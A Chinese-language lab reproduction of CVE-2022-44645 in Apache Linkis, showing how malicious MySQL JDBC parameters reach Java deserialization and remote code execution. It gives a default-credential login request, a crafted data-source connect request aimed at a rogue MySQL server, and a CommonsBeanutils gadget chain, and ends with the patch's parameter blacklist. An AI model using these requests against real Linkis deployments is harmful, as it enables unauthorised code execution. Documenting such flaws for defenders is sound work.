CVE-2022-44645漏洞复现
漏洞原理该漏洞的核心本质是Apache Linkis 在允许用户配置或测试数据源时未能对用户输入的 MySQL JDBC URL 参数进行严格的过滤与黑名单限制。攻击者可以通过配置恶意的 JDBC URL诱导 Linkis 连接到一个受控的恶意 MySQL 服务器从而触发客户端Linkis利用MySQL Connector/J驱动执行反序列化攻击最终实现远程代码执行RCE。组件名称受影响版本修复版本备注Apache Linkis≤ 1.3.0Apache Linkis 1.3.1 及以上版本核心在于限制了数据源连接字符串的参数MySQL Connector/J5.x 和 8.x 多个历史版本驱动层面的补丁依赖于特定参数的开启复现漏洞触发的“大前提”三要素要成功复现或防范 CVE-2022-44645必须以下三个条件同时满足缺一不可宿主中间件Apache Linkis 版本 $\le$ 1.3.0未过滤 JDBC 恶意的 URL 参数。驱动版本Linkis 的类路径中引入的是上述受影响范围内的MySQL Connector/J如随大数据平台自带的旧版mysql-connector-java-5.1.x.jar。环境 GadgetLinkis 自身包含可被反序列化利用的链例如自带的Commons-Beanutils 1.9.4。复现环境靶机ip: 192.168.10.142攻击机ip: 192.168.10.81项目地址Linkis服务由约七个微服务组成完全启动需要1到2分钟。启动完成后API网关地址为http://your-ip:9001Eureka注册中心地址为http://your-ip:20303默认账号密码为hadoop / hadoop该靶场很简洁,能够访问到9001端口就行,就是以下该界面抓包,更换表单成为以下POST /api/rest_j/v1/user/login HTTP/1.1 Host: your-ip:9001 Content-Type: application/json {userName:hadoop,password:hadoop}拿到会话 CookieM7UZXQP9Ld0ykKbI5lLyUHN8fGTma8b2HLiVea4FcQ;打开java-chains//复现前需要先准备一个能响应MySQL握手与查询请求、并在响应中下发Java反序列化Payload的恶意MySQL服务端。//并基于Linkis classpath中自带的Commons-Beanutils 1.9.4链生成反序列化Payload。下图展示了在java-chains中构造FakeMySQLPayload → CommonsBeanutils1 → TemplatesImpl → BytecodeConvert → Exec这条链命令为**touch /tmp/success**生成结果中会返回一个短的字母数字MySQL用户名Token例如dd14fff恶意服务端会用这个Token来匹配后续JDBC客户端连接。接下来先登录Linkis获取会话Cookie然后向数据源管理的op/connect/json接口发送一次请求。data-source-manager只识别host、port、username、password、params这5个键因此恶意的JDBC URL参数需要以JSON字符串的形式放入connectParams.params字段POST /api/rest_j/v1/data-source-manager/op/connect/json HTTP/1.1 Host: your-ip:9001 Content-Type: application/json;charsetUTF-8 Cookie: linkis_user_session_ticket_id_v1... { dataSourceName: evil, dataSourceTypeId: 1, createSystem: Linkis, connectParams: { host: attacker-ip, port: 3308, username: dd14fff, password: x, params: {\autoDeserialize\:\true\,\statementInterceptors\:\com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\,\useSSL\:\false\,\maxAllowedPacket\:\16777216\} } }记得修改下面框框里的发送,出现连接失败才是正确的成功补充Linkis 1.3.1引入的修复在SecurityUtils#checkJdbcConnParams中加入了JDBC URL参数黑名单禁止使用autoDeserialize、allowLoadLocalInfile、allowLocalInfile、allowUrlInLocalInfile和#等参数从而阻断该利用路径后续版本针对这一黑名单的多次绕过CVE-2023-27987、CVE-2023-29215、CVE-2023-46801又持续做了加固。